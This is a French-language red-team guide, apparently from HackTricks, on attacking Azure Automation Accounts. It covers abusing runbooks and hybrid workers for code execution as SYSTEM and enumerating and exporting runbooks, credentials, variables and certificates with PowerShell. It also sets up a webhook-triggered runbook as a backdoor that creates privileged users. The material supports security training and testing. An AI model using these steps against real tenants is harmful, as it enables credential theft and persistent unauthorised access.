Az - Automation Account

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

À partir de la documentation : Azure Automation fournit un service d'automatisation basé sur le cloud, de mises à jour du système d'exploitation et de configuration qui prend en charge une gestion cohérente dans vos environnements Azure et non-Azure. Il inclut l'automatisation des processus, la gestion de la configuration, la gestion des mises à jour, des capacités partagées et des fonctionnalités hétérogènes.

Ce sont comme des "tâches planifiées" dans Azure qui vous permettront d'exécuter des actions (ou même des scripts) pour gérer, vérifier et configurer l'environnement Azure.

Compte Run As

Lorsque le Compte Run As est utilisé, il crée une application Azure AD avec un certificat auto-signé, crée un principal de service et attribue le rôle de Contributeur pour le compte dans l'abonnement actuel (beaucoup de privilèges). Microsoft recommande d'utiliser une Identité gérée pour le Compte d'automatisation.

Cela sera supprimé le 30 septembre 2023 et remplacé par des Identités gérées.

Runbooks & Jobs

Les Runbooks vous permettent d'exécuter du code PowerShell arbitraire. Cela pourrait être abusé par un attaquant pour voler les autorisations du principal attaché (le cas échéant). Dans le code des Runbooks, vous pourriez également trouver des informations sensibles (telles que des identifiants).

Si vous pouvez lire les jobs, faites-le car ils contiennent la sortie de l'exécution (informations potentiellement sensibles).

Allez dans Comptes d'automatisation --> <Sélectionnez le Compte d'automatisation> --> Runbooks/Jobs/Groupes de travailleurs hybrides/Tâches de surveillance/identifiants/variables/certificats/connexions

Travailleur hybride

Un Runbook peut être exécuté dans un conteneur à l'intérieur d'Azure ou dans un Travailleur hybride (machine non-Azure). L'Agent Log Analytics est déployé sur la VM pour l'enregistrer en tant que travailleur hybride. Les travaux du travailleur hybride s'exécutent en tant que SYSTEM sur Windows et en tant que compte nxautomation sur Linux. Chaque Travailleur hybride est enregistré dans un Groupe de travailleurs hybrides.

Par conséquent, si vous pouvez choisir d'exécuter un Runbook dans un Travailleur hybride Windows, vous exécuterez des commandes arbitraires à l'intérieur d'une machine externe en tant que Système (technique de pivot intéressante).

Compromission de la configuration d'état (SC)

À partir de la documentation : Azure Automation State Configuration est un service de gestion de la configuration Azure qui vous permet d'écrire, de gérer et de compiler des configurations de l'État souhaité PowerShell (DSC) configurations pour les nœuds dans n'importe quel cloud ou centre de données sur site. Le service importe également des Ressources DSC et attribue des configurations aux nœuds cibles, le tout dans le cloud. Vous pouvez accéder à la Configuration d'état Azure Automation dans le portail Azure en sélectionnant Configuration d'état (DSC) sous Gestion de la configuration.

Des informations sensibles pourraient être trouvées dans ces configurations.

RCE

Il est possible d'abuser de SC pour exécuter des scripts arbitraires dans les machines gérées.

pageAz - State Configuration RCE

Énumération

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Vous pourriez faire la même chose en modifiant un Run Book existant, et depuis la console web.

Étapes pour configurer une création d'utilisateur automatisée hautement privilégiée

1. Initialiser un compte d'automatisation

  • Action requise : Créer un nouveau compte d'automatisation.

  • Paramètre spécifique : Assurez-vous que "Créer un compte Azure Run As" est activé.

2. Importer et configurer le Runbook

  • Source : Téléchargez le runbook d'exemple depuis le dépôt GitHub MicroBurst.

  • Actions requises :

  • Importez le runbook dans le compte d'automatisation.

  • Publiez le runbook pour le rendre exécutable.

  • Attachez un webhook au runbook, permettant des déclencheurs externes.

3. Configurer le module AzureAD

  • Action requise : Ajoutez le module AzureAD au compte d'automatisation.

  • Étape supplémentaire : Assurez-vous que tous les modules Azure Automation sont mis à jour vers leurs dernières versions.

4. Attribution des autorisations

  • Rôles à attribuer :

  • Administrateur d'utilisateurs

  • Propriétaire d'abonnement

  • Cible : Attribuez ces rôles au compte d'automatisation pour les privilèges nécessaires.

5. Conscience de la perte potentielle d'accès

  • Remarque : Soyez conscient que la configuration d'une telle automatisation pourrait entraîner une perte de contrôle sur l'abonnement.

6. Déclencher la création d'utilisateur

  • Déclenchez le webhook pour créer un nouvel utilisateur en envoyant une requête POST.

  • Utilisez le script PowerShell fourni, en veillant à remplacer le $uri par votre URL de webhook réelle et en mettant à jour le $AccountInfo avec le nom d'utilisateur et le mot de passe souhaités.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Dernière mise à jour